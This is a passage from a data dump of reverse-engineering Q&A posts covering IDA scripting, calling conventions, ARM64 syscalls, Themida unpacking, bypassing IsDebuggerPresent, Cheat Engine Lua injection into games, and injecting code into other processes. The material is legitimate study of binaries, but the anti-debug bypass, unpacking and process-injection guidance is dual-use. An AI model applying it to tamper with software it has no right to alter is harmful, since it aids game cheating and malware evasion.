
    IMO, IDA's disassembler usually yields better results in comparison to the dumpbin utility.

    \n" }, { "Id": "16902", "CreationDate": "2017-12-03T17:26:06.713", "Body": "

    How can I debug Portable executable for AMD64 in IDA PRO if I have Intel processor?

    \n", "Title": "How to debug Portable executable for AMD64 in IDA PRO?", "Tags": "|ida|debugging|amd64|intel|", "Answer": "

    You did not give any details about your machine's processor. Does it support 64-bit architecture? Does it implement the x86-64 instruction set?

    \n\n

    This is only a problem if your machine's Intel processor does not support 64-bit architecture and/or does not does not implement the same instruction set as AMD64 processors.

    \n\n

    However, AMD64 processors and most 64-bit Intel processors (other than Itanium-family processors, for example) implement the same instruction set: x86-64.

    \n\n

    In other words, PE binaries compiled to target the x86-64 instruction set architecture will execute on Windows boxes regardless of whether they utilize an AMD64 processor or a 64-bit Intel processor.

    \n\n

    See also:

    \n\n\n" }, { "Id": "16907", "CreationDate": "2017-12-04T19:23:13.600", "Body": "

    I was trying to figure out if there is a way I can get the address for a function name that has random characters in it.\nFor example the function name is "Player_GetStats_m29275" here the "m292755"\nis random characters. So I want to search the name of the function by just "Player_GetStats" so it gives me the address of the function.

    \n

    get_name_ea is not good for doing this. I can search the function with find_text but it's too slow and takes a lot of time even if I mention the segment.

    \n", "Title": "IDA Script, get function that has random characters in its name", "Tags": "|ida|idapython|script|", "Answer": "

    As far as I know, IDA doesn't have a function_name_to_address() that gets a pattern and returns an address. You can iterate over all the functions and check if their name matches the one you want. It should not take too long.

    \n\n
    from idautils import *\nfrom idaapi import *\nfrom idc import *\n\nea = BeginEA()\nfor funcAddr in Functions(SegStart(ea), SegEnd(ea)):\n    funcName = GetFunctionName(funcAddr)\n    # Check if the function name starts with \"Player_GetStats\"\n    if funcName.startswith(\"Player_GetStats\"):\n        print \"Function %s is at 0x%x\" % (funcName, funcAddr)\n
    \n\n

    Alternatively you can use regular expression to match the name you want:

    \n\n
    import re\n\nfuncName = \"Player_GetStats_m29275\"\nre.compile(\"^Player_GetStats_\\w\\d{5}$\")\nif pattern.match(funcName):\n   \"%s match the pattern\" % funcName\n
    \n\n

    Explanation:

    \n\n\n" }, { "Id": "16910", "CreationDate": "2017-12-05T01:58:37.160", "Body": "

    I'm trying to hack a game. I'm a bit of a white hat hacker - only for this specific game, and only because I enjoy it. There has recently been a spate of players getting away with much more than they should in game by (if the grapevine is to be believed) injecting lua scripts into the loaded game in cheat engine.

    \n\n

    I use cheat engine sometimes, I know how to find a value, change it, lock it, find out what writes to it, etc. I wasn't aware that a user can call an external lua file and have it run as if it had been called by the game in question (the copy of the file I've managed to beg/borrow/steal calls function from the game). I am way out of my depth here, I'm not even 100% sure this is seriously what's been going on. Can anyone shed some light on whether or not this is possible (even a feeling of likelihood would help) and more importantly if it is possible, how I can go about replicating it.

    \n\n

    I don't want to mention the game specifically as (although it has a small user base) I don't want to give others tips on how to hack it!). That being said, I realise I haven't given much info, so please tell me what would be helpful to include!

    \n\n

    P.S. I have no idea how to tag this - suggestions welcome!

    \n", "Title": "Using cheat engine to activate a modified version of a lua script", "Tags": "|injection|", "Answer": "

    Unfortunately, as a beginner, there's a LOT for you to learn where this topic is concerned. It's not that it's particularly outside of your grasp to understand, but rather that it's going to take quite a bit of time.

    \n\n

    Without seeing the file or knowing the game, there are any number of solutions that could be happening. So instead of playing guesswork there, I recommend you start by learning how to use Lua in the context of Cheat Engine. I wrote a beginner's tutorial sometime back that should help you quite a bit.

    \n\n

    After that, I recommend watching this video, followed by this video--both of which use Lua to solve steps 1-7 of the tutorial that comes bundled with Cheat Engine.

    \n\n

    Finally, here is an example of an insanely in-depth CE Lua script. Crack it open and take a look at that puppy; it's amazing. Ultimately, you can get as basic (simple scripting) or as complex (designing a full, standalone trainer) as you want with Lua in CE. You have the power of Lua in its entirety, as well as CE's custom Lua functions (and any others you'd like to bring in from other Lua libraries).

    \n" }, { "Id": "16911", "CreationDate": "2017-12-05T02:58:27.060", "Body": "

    A C++ program I'm looking at appears to have been compiled with MSVC. It links to MSVCR100.dll, contains MSVC's security cookie code and uses the Microsoft mangling scheme. However, one of the functions I've hit sends its only argument in the EAX register, which is immediately passed as an argument to LoadLibraryW (after BP frame initialisation).

    \n\n

    Looking at the code, there are sequences and strings referenced in other functions (evidence of inlining), so I don't think it's a direct assembly code job.

    \n\n

    To my knowledge and according to my sources, MSVC doesn't have a calling convention that sends arguments via EAX. Watcom and Delphi have options, but not MSVC. Is it possible that the compiler optimised the function into a register call? Or is there another, undocumented calling convention in MSVC?

    \n", "Title": "How can an IA-32 program seemingly compiled with MSVC send its sole argument via EAX?", "Tags": "|c++|register|calling-conventions|msvc|", "Answer": "

    We can see from this list that IA-32's Delphi/Free Pascal calling convention is the register calling convention. My guess is you're dealing with a binary that's the result of something like this: How to call a function using Delphi's register calling conventions from Visual C++?

    \n\n

    To partially quote the top-voted answer:

    \n\n
    \n

    Delphi's register calling convention, also known as Borland fastcall, on x86 uses EAX, EDX and ECX registers, in that order.

    \n
    \n\n

    Some additional reading that may help paint a clearer picture of what you're looking at:

    \n\n\n" }, { "Id": "16914", "CreationDate": "2017-12-05T14:30:29.727", "Body": "

    I have coded a very simple Debugger for x64, I am using currently Win10.

    \n\n

    I am trying to set some Hardware Breakpoints to be trapped by my Debugger Loop as follows:

    \n\n
    inline void SETBITS(DWORD64 *dw, int lowBit, int bits, int newValue) {\n\n     int mask = (1 << bits) - 1;\n     *dw = (*dw & ~(mask << lowBit)) | (newValue << lowBit);\n\n}\n\nBOOL SetHardwareBP(HANDLE hThread, __int64 Address, DWORD Length, int Condition)\n{\n\n    CONTEXT context = { CONTEXT_DEBUG_REGISTERS };\n    int i;\n    if (!GetThreadContext(hThread, &context)) return -1;\n\n    // find available hardware register\n\n    for (i = 0; i < 4; i++)\n    {\n    if ((context.Dr7 & (1 << (i * 2))) == 0)\n    {\n        *(&context.Dr0 + i) = Address;\n\n        SETBITS(&context.Dr7, 16 + i * 4, 2, Condition);\n        SETBITS(&context.Dr7, 18 + i * 4, 2, Length);\n        SETBITS(&context.Dr7, i * 2, 1, 1);\n\n        if (!SetThreadContext(hThread, &context))\n            return -1;\n\n        return i;\n    }\n  }\n\n   return -1;\n}\n\nint SetDebugPrivileges(void) {\n\n      TOKEN_PRIVILEGES priv = { 0 };\n      HANDLE hToken = NULL;\n\n      if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {\n        priv.PrivilegeCount = 1;\n        priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;\n\n        if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid)) {\n        if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL) == 0) {\n            printf(\"AdjustTokenPrivilege Error! [%u]\\n\", GetLastError());\n        }\n    }\n\n       CloseHandle(hToken);\n  }\n       return GetLastError();\n}\n\n\nvoid ThreadsLoop(DWORD mPID) {\n\n   HANDLE         hProcessSnap = NULL;\n\n   SetDebugPrivileges();\n   hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);\n\n   if (hProcessSnap == INVALID_HANDLE_VALUE) return;\n\n    else\n    {\n    THREADENTRY32 the;\n    the.dwSize = sizeof(THREADENTRY32);\n\n    BOOL bret = Thread32First(hProcessSnap, &the);\n    while (bret)\n    {\n\n\n        if (the.th32OwnerProcessID == mPID)\n        {\n\n            HANDLE hthread = OpenThread(THREAD_ALL_ACCESS, false, the.th32ThreadID);\n            SuspendThread(hthread);\n\n                           //call with length and condition set to 0 for a Code Execution type\n            int hr = SetHardwareBP(hthread, addr, 0, 0);\n            ResumeThread(hthread);\n\n            CloseHandle(hthread);\n        }\n        bret = Thread32Next(hProcessSnap, &the);\n    }\n    CloseHandle(hProcessSnap);\n}\n}\n
    \n\n

    I am calling\nThreadsLoop(pi.dwProcessId); where pi is the the PROCESS_INFORMATION structure returned from my initial call:

    \n\n
    CreateProcess(pname, NULL, NULL, NULL, false, DEBUG_ONLY_THIS_PROCESS, NULL,NULL, &si, &pi);\n
    \n\n

    None of the Hardware Breakpoints is Hit. I did several attempts changing the DR0-DR7 (and condition and length variables above) setup without luck. All calls to SetThreadContext returned successfully.

    \n\n

    I did the same test with a Software Breakpoint via the following code and works perfect:

    \n\n
    BYTE p[] = { 0xcc }; \nSIZE_T d = 0;\nWriteProcessMemory(pi.hProcess, (void*)addr, p, sizeof(p), &d);\n
    \n\n

    What could be wrong in this code/approach?

    \n\n

    Thanks

    \n", "Title": "Simple Debugger and Hardware BreakPoints in x64 Windows 10", "Tags": "|debuggers|breakpoint|", "Answer": "

    There are some issues you have to fix

    \n\n
      \n

    1. Please take a look at This where is explains which event is triggered in the hardware breakpoint case. You have to add EXCEPTION_SINGLE_STEP in DebuggerThreadProc() function

      2. \n

    2. You need to be attached to the target process in order to be able to debug it. For this you need to use DebugActiveProcess

      3. \n

    3. This one is quite a semantic error. As you create the target process in the same app you already have an open handle to both the process and the main thread so there is NO need to create snapshot and searching for the target! This is completely redundant. Please remove all these parts and pass the handles as input to those functions.

      4. \n

    4. Always keep in mind to close the handles you've opened.

      5. \n
    \n" }, { "Id": "16917", "CreationDate": "2017-12-05T19:46:46.243", "Body": "

    I wonder if there some syscall table for Linux ARM64 architecture?\nI found syscall table for Linux ARM32 and many other architectures, but the problem still exists.

    \n\n

    Does anyone know where can I find a syscall table exactly for ARM64?

    \n", "Title": "ARM64 syscalls table", "Tags": "|assembly|linux|arm|system-call|", "Answer": "

    arm64 syscall numbers are defined at: https://github.com/torvalds/linux/blob/v4.17/include/uapi/asm-generic/unistd.h

    \n

    This is a bit confusing since it is quite different from x86 and x86_64 and arm 32-bit which define syscall numbers under arch/, e.g. arch/arm/tools/syscall.tbl for arm 32-bit, but the arm64 file has a comment saying:

    \n
    \n

    New architectures should use this file and implement the less feature-full calls in user space.

    \n
    \n

    so I'm guessing that it is just because aarch64 is new and used a newer more arch agnostic mechanism, while the old ones can never break userland compatibility and thus cannot be updated to the new mechanism.

    \n

    This is corroborated by the following minimal runnable aarch64 assembly Linux call example that works on QEMU and uses 64 for write and 93 for exit:

    \n

    main.S

    \n
    .text\n.global _start\n_start:\n    /* write */\n    mov x0, #1\n    ldr x1, =msg\n    ldr x2, =len\n    mov x8, #64\n    svc #0\n\n    /* exit */\n    mov x0, #0\n    mov x8, #93\n    svc #0\nmsg:\n    .ascii "hello world\\n"\nlen = . - msg\n
    \n

    GitHub upstream.

    \n

    Assemble and run:

    \n
    aarch64-linux-gnu-as -o main.o main.S\naarch64-linux-gnu-ld -o main.out main.o\nqemu-aarch64 main.out\n
    \n

    Tested in Ubuntu 16.04 amd64.

    \n

    strace source code

    \n

    This is a good place to easily cheat to check the syscall numbers, see: https://unix.stackexchange.com/questions/421750/where-do-you-find-the-syscall-table-for-linux/499016#499016

    \n

    It also confirms what I said about newer archs seeming to have unified call numbers.

    \n" }, { "Id": "16919", "CreationDate": "2017-12-05T23:50:46.483", "Body": "

    I recently asked to question: How can an IA-32 program seemingly compiled with MSVC send its sole argument via EAX? After posting the question, I found that another function passed the first argument in EAX and then pushed its remaining argument. The caller then cleans up the stack.

    \n\n

    The calling code:

    \n\n
    .text:00402465                 lea     eax, [ebp+var_4]\n    ...\n.text:00402469                 push    eax\n.text:0040246A                 mov     eax, [ebp+hWnd]\n.text:0040246D                 call    openFileDialog\n.text:00402472                 add     esp, 4\n
    \n\n

    And the function itself:

    \n\n
    .text:00411730 openFileDialog  proc near\n.text:00411730\n    ...\n.text:00411730 arg_0           = dword ptr  8\n.text:00411730\n.text:00411730                 push    ebp\n.text:00411731                 mov     ebp, esp\n.text:00411733                 sub     esp, 18h\n.text:00411736                 cmp     byte_42AE1D, FALSE\n.text:0041173D                 push    ebx\n.text:0041173E                 push    esi\n.text:0041173F                 push    edi\n.text:00411740                 mov     esi, eax\n    ...\n.text:00411789                 mov     eax, [ebp+arg_0]\n.text:0041178C                 push    eax\n.text:0041178D                 push    esi\n.text:0041178E                 call    openFileDialog_Compat\n.text:00411793                 add     esp, 8\n
    \n\n

    As you can see, in the function, the value of EAX is saved before anything can affect it, so it is definitely being used as a parameter. Later, the pushed argument is passed to a normal __cdecl function.

    \n\n

    The program is linked to use msvcr100.dll and uses MSVC style throughout (Such as __security_cookie, MSVC name mangling, etc.), so it would appear to have been compiled with Visual C++, but this unusual calling convention makes me question that.

    \n", "Title": "What compiler uses a calling convention that uses EAX as the first argument, then pushes onto the stack?", "Tags": "|c++|calling-conventions|", "Answer": "

    This is probably a program compiled with \"Whole Program Optimization\" or \"Link-time code generation\". From MSDN:

    \n\n
    \n

    When /LTCG is used to link modules compiled with /Og, /O1, /O2, or\n /Ox, the following optimizations are performed:

    \n \n
      \n
    • Cross-module inlining
      • \n

    • Interprocedural register allocation (64-bit operating systems only)

      • \n

    • Custom calling convention (x86 only)

      • \n

    • Small TLS displacement (x86 only)

      • \n

    • Stack double alignment (x86 only)

      • \n

    • Improved memory disambiguation (better interference information for global variables and input parameters)

      • \n
    \n
    \n" }, { "Id": "16933", "CreationDate": "2017-12-07T21:18:55.050", "Body": "

    may anyone explain to me why most of the debuggers don't auto recognize functions?

    \n\n

    This is a feature I only found in IDA and ollydbg, any other debugger I tried just don't analyze the functions as IDA and olly do.

    \n\n

    I understand that this could be a performance issue to justify don't set this feature as the default behaviour, but why debuggers like x64dbg seems to just don't have the feature?

    \n\n

    Thanks.

    \n", "Title": "Why most debuggers don't auto recognize functions?", "Tags": "|debuggers|functions|", "Answer": "

    As assembly instruction sets are reasonably complex, properly figuring out a function boundaries inside a big executable binaries is a somewhat difficult task. Even IDA, which specializes in that, has quite a few mistakes and misses in certain scenarios.

    \n\n

    This goes back to disassembly strategies, which are basically the algorithm used to provide disassembly listings for given stream of binary. They're often divided to two categories:

    \n\n
      \n
    1. Linear Sweep is to simply disassembly one instruction after the other. The straight-forward way to disassemble a sequence of instructions - start the next instruction disassemble right where the last instruction ended.
      2. \n
    2. Recursive Disassembly attempts to consider the code flow while disassembling, and will likely hold a stack of \"function entries\" (every call, for example, will get it's target address in that queue). The queue keeps being emptied by the disassembly engine until all encountered functions are analyzed.
      3. \n
    \n\n

    They both have their pros and cons although Linear sweep is considered simpler to implement and recursive disassembly to yield better results.

    \n\n

    Most debuggers don't focus too much on the disassembly task because usually, instruction pointer registers will point to the correct function to disassemble and the need to disassemble big binary blobs and recognise functions is rare. Additionally, as mostly static analysis tool IDA puts a lot more focus into exposure of the \"whole picture\", where debuggers tend to shine a light on only a small piece of the executable at a time.

    \n\n

    P.S.

    \n\n

    x64dbg is another debugger (considered an ollydbg replacement by some) with decent function discovery.

    \n" }, { "Id": "16939", "CreationDate": "2017-12-08T14:07:54.920", "Body": "

    I want to analyse this UEFI bios here. When I open it in IDA it looks compressed to me. Also IDA lists the processor type as ZLOG. Shouldn't this be the multi processor setting for IDA?

    \n\n

    Anyway, If I am not mistaken it's compressed and divided into some odd sections. How can I decompress this and look at this in more detail?

    \n\n

    If this isn't compressed how can I go about doing some static analysis on this?

    \n\n

    Thanks

    \n", "Title": "Decompress and Analyse VMWARE EFI64 bios", "Tags": "|static-analysis|decompress|bios|vmware|uefi|", "Answer": "

    Most UEFI implementations use a standard ROM layout (FFS - Flash File System), described in the UEFI's PI (Platform Initialization) specification. There are many tools and scripts which can parse this format, the simplest is probably UEFITool.

    \n\n

    \"enter

    \n" }, { "Id": "16943", "CreationDate": "2017-12-09T07:02:19.247", "Body": "
    push   %rbp\nmov    %rsp,%rbp\nmov    %rdi,-0x18(%rbp)\nmov    %rsi,-0x20(%rbp)\nmov    -0x18(%rbp),%rax\nmov    (%rax),%eax\nmov    %eax,-0x4(%rbp)\nmov    -0x20(%rbp),%rax\nmov    (%rax),%edx\nmov    -0x18(%rbp),%rax\nmov    %edx,(%rax)\nmov    -0x20(%rbp),%rax\nmov    -0x4(%rbp),%edx\nmov    %edx,(%rax)\nmov    -0x18(%rbp),%rax\nmov    (%rax),%edx\nmov    -0x20(%rbp),%rax\nmov    (%rax),%eax\nadd    %edx,%eax\npop    %rbp\nretq  \n
    \n\n

    I am just looking for someone to confirm my thinking, what I am seeing happen is that parameter 1 is taken and put 18 below rbp and parameter two is taken and put 20 below rbp and then it seems to me that the parameters are set to each other as in x=y and y=x however at the very end the second parameter is set to rax and then added to edx which i believe is the first parameter and then returned. Is this correct or am i way off?

    \n", "Title": "What does this assembly instruction do?", "Tags": "|assembly|c|", "Answer": "

    Yes, that seems correct. The equivalent C code would look something like:

    \n\n
    int func(int *arg1, int *arg2)\n{\n    int temp = *arg1;\n    *arg1 = *arg2;\n    *arg2 = temp;\n    return *arg1 + *arg2;\n}\n
    \n\n

    The use of stack-based storage indexed off of rbp is what we called local storage. We can give each use a name to make it easier to see what is going on. Let's call the value at rbp-0x18 local_arg1, rbp-0x20 local_arg2 and rbp-0x4 local_temp. By calling convention, rdi is the first argument to the function and rsi is the second.

    \n\n

    Adding comments where pointer dereferencing is occurring, the disassembly is then

    \n\n
    push   %rbp\nmov    %rsp,%rbp         \nmov    %rdi,local_arg1\nmov    %rsi,local_arg2\nmov    local_arg1,%rax\nmov    (%rax),%eax        ; dereference the pointer i.e. eax = *arg1\nmov    %eax,local_temp\nmov    local_arg2,%rax\nmov    (%rax),%edx        ; edx = *arg2\nmov    local_arg1,%rax\nmov    %edx,(%rax)        ; *arg1 = edx\nmov    local_arg2,%rax\nmov    local_temp,%edx\nmov    %edx,(%rax)        ; *arg2 = edx\nmov    local_arg1,%rax\nmov    (%rax),%edx        ; edx = *arg1\nmov    local_arg2,%rax\nmov    (%rax),%eax        ; eax = *arg2\nadd    %edx,%eax\npop    %rbp\nretq  \n
    \n" }, { "Id": "16949", "CreationDate": "2017-12-09T19:06:05.300", "Body": "

    This is a probably a very basic question, please bear with me.

    \n\n

    I'm starting to get into reverse engineering following this pdf I found online: https://beginners.re/
    \nI am, however, stuck at the very basic steps.

    \n\n

    The relevant part from the PDF: \"1]\"

    \n\n

    When I try to compile my c++ code (which is the same as in the book) with the following command:

    \n\n
    gcc main.cpp -S -O\n
    \n\n

    This is the output I get:

    \n\n

    \"\"2

    \n\n

    Which, as you can see, is very different, and a lot more complicated than the supposed output written in the pdf. I'm unsure what I'm doing wrong, could anyone help me?

    \n", "Title": "Assembly output too complicated", "Tags": "|assembly|", "Answer": "

    Both outputs show the same effective assembly code. In both outputs, there is only a single instruction:

    \n\n
    ret\n
    \n\n

    The second example output is a variation of ret the reason for which is listed in this answer on Stackoverflow.

    \n\n

    The more complicated output has several code organizational assembler directives. These directives are not instructions.

    \n" }, { "Id": "16966", "CreationDate": "2017-12-13T22:23:35.453", "Body": "

    Before we continue I'd like you to keep in mind I'm relatively new to unpacking executables. So I have a few

    \n\n

    Recently I've been trying to unpack an executable (x64 architecture), aka find the OEP and restore the IAT, that is packed with Themida x64:

    \n\n

    I've tried breakpointing at LoadLibraryA. I've read thats a great way to solve it.

    \n\n

    However, I do not know what to do next. It brings me to this page:

    \n\n
    00007FFE291AA240 | 48 89 5C 24 08           | mov qword ptr ss:[rsp+8],rbx           |\n00007FFE291AA245 | 48 89 74 24 10           | mov qword ptr ss:[rsp+10],rsi          | [rsp+10]:LoadLibraryA\n00007FFE291AA24A | 57                       | push rdi                               |\n00007FFE291AA24B | 48 83 EC 20              | sub rsp,20                             |\n00007FFE291AA24F | 48 8B F9                 | mov rdi,rcx                            | rcx:\"USER32.dll\"\n00007FFE291AA252 | 48 85 C9                 | test rcx,rcx                           | rcx:\"USER32.dll\"\n00007FFE291AA255 | 74 15                    | je kernelbase.7FFE291AA26C             |\n00007FFE291AA257 | 48 8D 15 FA 2F 10 00     | lea rdx,qword ptr ds:[7FFE292AD258]    | 7FFE292AD258:\"twain_32.dll\"\n00007FFE291AA25E | FF 15 B4 C9 0F 00        | call qword ptr ds:[<&_stricmp>]        |\n00007FFE291AA264 | 85 C0                    | test eax,eax                           |\n00007FFE291AA266 | 0F 84 72 A8 03 00        | je kernelbase.7FFE291E4ADE             |\n00007FFE291AA26C | 45 33 C0                 | xor r8d,r8d                            |\n00007FFE291AA26F | 33 D2                    | xor edx,edx                            |\n00007FFE291AA271 | 48 8B CF                 | mov rcx,rdi                            | rcx:\"USER32.dll\"\n00007FFE291AA274 | E8 17 00 00 00           | call <kernelbase.LoadLibraryExA>       |\n00007FFE291AA279 | 48 8B 5C 24 30           | mov rbx,qword ptr ss:[rsp+30]          | [rsp+30]:LoadLibraryA\n00007FFE291AA27E | 48 8B 74 24 38           | mov rsi,qword ptr ss:[rsp+38]          |\n00007FFE291AA283 | 48 83 C4 20              | add rsp,20                             |\n00007FFE291AA287 | 5F                       | pop rdi                                |\n00007FFE291AA288 | C3                       | ret                                    |\n
    \n\n

    I've gotten a few addresses where it finds the API's, but it doesnt load all of them! (from what I have seen)

    \n\n

    For example, this one address I had loaded only Windows libs (kernel32.dll, KernelBase.dll, ...), but due to it missing a ton of libs (DirectX, OpenGL, ...), I threw it off as not being the OEP.

    \n\n

    I've unpacked files packed with UPX, Themida is stumping me.

    \n\n

    All help is appreciated! Thank you :)

    \n", "Title": "Unpacking a Themida packed x64 executable?", "Tags": "|unpacking|", "Answer": "

    Unpacking Themida, especially the newer versions, is not a small task by any means. It is literally worlds different from unpacking UPX and if you are new to unpacking, you have absolutely no business trying to unpack Themida. Here's why:

    \n\n

    Themida uses an extremely complex virtual machine environment combined with every anti-debug and anti-analysis trick in the books, combined with many different obfuscation methods. For example, in a UPX packed binary, you just need to find OEP and dump it down before finally rebuilding the IAT. In a Themida binary, different parts of the code are run in virtual machines and it obscures the behavior of the target program. The best method to unpack a VM-protected packer like Themida is to devirtualize it, which involves figuring out the entire instruction set that the packer uses and writing a script to interpret that language. All of that is only one step. Themida also severely obstructs the import address table, splits up the entire program and only loads one portion at a time (this prevents you from \"dumping\" the entire program like you did with UPX) and then unloads it on a per-routine basis, and implements a bunch of anti-analysis tricks, many of which are listed on their website.

    \n\n

    Additionally, you will need to know the exact version of Themida you are dealing with. Themida is so complicated to unpack that most people write scripts and so you can search for a script for the given version you are trying to unpack and attempt to use that. If the version is new and there is no script, given your level of expertise right now, this will be a very, very long and arduous task.

    \n\n

    Further reading:

    \n\n

    A Generic Approach to Automated Deobfuscation of Executable Code

    \n\n

    Anti-Unpacker Tricks by Peter Ferrie

    \n\n

    Themida/WinLicense Manual Unpack tutorial

    \n" }, { "Id": "16968", "CreationDate": "2017-12-14T06:09:59.343", "Body": "

    Is there a way (native or through plugin) to configure a code highlight scheme in IDA disasm?

    \n\n

    I'm looking for something like what we have in ollydbg or x64dbg, some code highlight to make easy on the eyes to find jumps, calls, etc. This seems to be such a good missing feature in IDA as I just can't find it anywhere.

    \n\n

    Thanks.

    \n", "Title": "IDA code highlight?", "Tags": "|ida|", "Answer": "

    I believe what you're looking for is IDASkins:\nhttps://github.com/zyantific/IDASkins\nand this theme: \nhttps://github.com/eugeii/ida-consonance

    \n\n

    For more plugins, go to: https://github.com/onethawt/idaplugins-list

    \n" }, { "Id": "16975", "CreationDate": "2017-12-14T17:32:36.077", "Body": "

    What's the difference between an interrupt line and an interrupt number (like 0x80) ? Also how are IRQs related to syscalls?

    \n", "Title": "What's the difference between an interrupt line and the interrupt number", "Tags": "|system-call|", "Answer": "

    LMGTFY:

    \n\n
    \n

    An interrupt is a signal from a device, such as the keyboard, to the CPU, telling it to immediately stop whatever it is currently doing and do something else. For example, the keyboard controller sends an interrupt when a key is pressed. To know how to call on the kernel when a specific interrupt arise, the CPU has a table called the IDT, which is a vector table setup by the OS, and stored in memory. There are 256 interrupt vectors on x86 CPUs, numbered from 0 to 255 which act as entry points into the kernel. The number of interrupt vectors or entry points supported by a CPU differs based on the CPU architecture.

    \n \n

    There are generally three classes of interrupts on most platforms:

    \n \n
      \n

    • Exception: These are generated internally by the CPU and used to alert the running kernel of an event or situation which requires its attention. On x86 CPUs, these include exception conditions such as Double Fault, Page Fault, General Protection Fault, etc.

      • \n

    • Interrupt Request (IRQ) or Hardware Interrupt: This type of interrupt is generated externally by the chipset, and it is signalled by latching onto the #INTR pin or equivalent signal of the CPU in question. There are two types of IRQs in common use today.

      \n \n
        \n
      • IRQ Lines, or Pin-based IRQs: These are typically statically routed on the chipset. Wires or lines run from the devices on the chipset to an IRQ controller which serializes the interrupt requests sent by devices, sending them to the CPU one by one to prevent races. In many cases, an IRQ Controller will send multiple IRQs to the CPU at once, based on the priority of the device. An example of a very well known IRQ Controller is the Intel 8259 controller chain, which is present on all IBM-PC compatible chipsets, chaining two controllers together, each providing 8 input pins for a total of 16 usable IRQ signalling pins on the legacy IBM-PC.
        • \n
      • Message Based Interrupts: These are signalled by writing a value to a memory location reserved for information about the interrupting device, the interrupt itself, and the vectoring information. The device is assigned a location to which it wites either by firmware or by the kernel software. Then, an IRQ is generated by the device using an arbitration protocol specific to the device's bus. An example of a bus which provides message based interrupt functionality is the PCI Bus.
        • \n
      • \n

    • Software Interrupt: This is an interrupt signalled by software running on a CPU to indicate that it needs the kernel's attention. These types of interrupts are generally used for System Calls. On x86 CPUs, the instruction which is used to initiate a software interrupt is the \"INT\" instruction. Since the x86 CPU can use any of the 256 available interrupt vectors for software interrupts, kernels generally choose one. For example, many contemporary unixes use vector 0x80 on the x86 based platforms.

      • \n
    \n
    \n" }, { "Id": "16979", "CreationDate": "2017-12-15T10:09:56.637", "Body": "

    I use x64dbg and IDA Pro the process is 32bit. I'm not sure if I'm doing this right or not because I'm getting a crash which I'm not sure if it's caused by me doing something wrong or the startup process of the application failing for some reason because it can't find the window.

    \n\n

    Basically what I'm trying to do is change the window title of some application on startup. I'm trying to achieve this by setting a break point on the user32 function CreateWindowExA and then attempting to change the lpWindowName parameter.

    \n\n

    Here is what execution looks like when the bp is hit:

    \n\n

    \"code\"

    \n\n

    Where you see the string \"Title possibly\" originally contained what was the windows title, so I assume that's the location I need to change. When changing at that address is when I get the error though.

    \n\n

    Sorry for any ignorance, I'm new to this and practicing. Thanks.

    \n\n

    Edit: I worked on this a little more and made a dummy program to help me figure out what was happening. So the CreateWindowExA function in this application used the same pointer for both lpClassName and lpWindowName args. So patching the program to push just a string instead of that pointer successfully achieved what I was aiming for.

    \n", "Title": "Changing a windows name by patching create window function call", "Tags": "|ida|debugging|binary-analysis|x86|", "Answer": "

    Thanks for the responses guys. I managed to achieve my goal which is detailed in the OP edit:

    \n\n

    The CreateWindowExA function in this application used the same pointer for both lpClassName and lpWindowName args. So patching the program to push just a string instead of that pointer for lpWindowName successfully achieved what I was aiming for. I believe changing the lpClassName was causing the crash I described in the OP.

    \n" }, { "Id": "16980", "CreationDate": "2017-12-15T13:46:13.743", "Body": "

    Does anybody know an unpacker/decryptor that can unpack Stone's PE Encrypter v2.0? I found one but it was for a previous version, not version 2.0. IDA's universal unpacker seems to hang when trying to unpack this. \"waiting for unpacker to finish\" forever. Thank you.

    \n", "Title": "Stone's PE Encrypter v2.0", "Tags": "|ida|unpacking|packers|", "Answer": "

    Depending on what you're looking to accomplish, you have a handful of options:

    \n\n
      \n

    1. Use RL!dePacker 1.5, which supports unpacking Stone's PE Encryptor 2.0. The technology at the core of this unpacker, TitanEngine, has been immensely improved since its implementation back then, and is available as open source via ReversingLabs. Official video tutorial from RL can be viewed here.

      2. \n

    2. FUU utilizes TitanEngine and has signatures for multiple versions of Stone's PE Encryptor, including v2.0.

      3. \n

    3. Use The aPE, which allows for patching of supported packed binaries--Stone's PE Encryptor v2.0 being one of the supported packers.

      4. \n

    4. A code search on GitHub for \"PE Encryptor v2.0\" yields additional results you may want to sift through in case any of the solutions above don't pan out.

      5. \n
    \n" }, { "Id": "16983", "CreationDate": "2017-12-15T20:14:32.417", "Body": "

    I have an address, that I think is not allowing me to run the debugger in IDA, I need help trying to stop it.

    \n\n

    Also , what does kernel32_IsDebuggerPresent mean?

    \n\n

    \"enter

    \n", "Title": "Bypass IsDebuggerPresent", "Tags": "|ida|anti-debugging|", "Answer": "

    Let's have a look of the function's description in MSDN:

    \n\n
    \n

    Determines whether the calling process is being debugged by a\n user-mode debugger

    \n
    \n\n

    As you guessed, this function is commonly used as an anti-debugging trick with the aim to break the process whenever the program detects that it is being debugged. IsDebuggerPresent checks for the BeingDebugged flag in the PEB (Process Environment Block) and will return a non-zero value if it is indeed being debug.

    \n\n

    You have several options to bypass this trick, some of them are:

    \n\n

    Runtime patching:

    \n\n\n\n

    Permanent Patching:

    \n\n\n" }, { "Id": "17003", "CreationDate": "2017-12-19T12:19:34.500", "Body": "

    I don't know whether this is the right place to ask this question. I want some guide lines on this subject because I don't know how to search my problem in the internet.

    \n\n

    I want to create an executable file which can inject code into a targeted (another) executable file and run that target. What I talking about is not a patched exe. I want that exe to inject the code and run the program.

    \n\n

    Is it possible to create such executable files..? If it is, can you please tell me some guiding materials..?

    \n\n

    ps: when I search about injection, I get only about dll injection and it is not I want.

    \n\n

    Thank You!!

    \n", "Title": "Inject code into exe", "Tags": "|patching|injection|", "Answer": "

    Start here--specifically, the third technique: \"The CreateRemoteThread & WriteProcessMemory Technique\". To quote:

    \n\n
    \n

    Another way to copy some code to another process's address space and then execute it in the context of this process involves the use of remote threads and the WriteProcessMemory API. Instead of writing a separate DLL, you copy the code to the remote process directly now\u2014via WriteProcessMemory\u2014and start its execution with CreateRemoteThread.

    \n
    \n\n

    You could also use the WriteProcessMemory function to write bytes directly, whether it's overwriting bytes directly or code-caving. There are nuances to keep in mind, though, like making sure the permissions of the memory you're writing to are set properly (read/write/execute), ala the Virtual* functions.

    \n" }, { "Id": "17007", "CreationDate": "2017-12-19T18:43:28.923", "Body": "

    I was using radare2 (2.2.0) with r2pipe (0.9.5) for python3 to debug the code generated by:\n

    \n\n
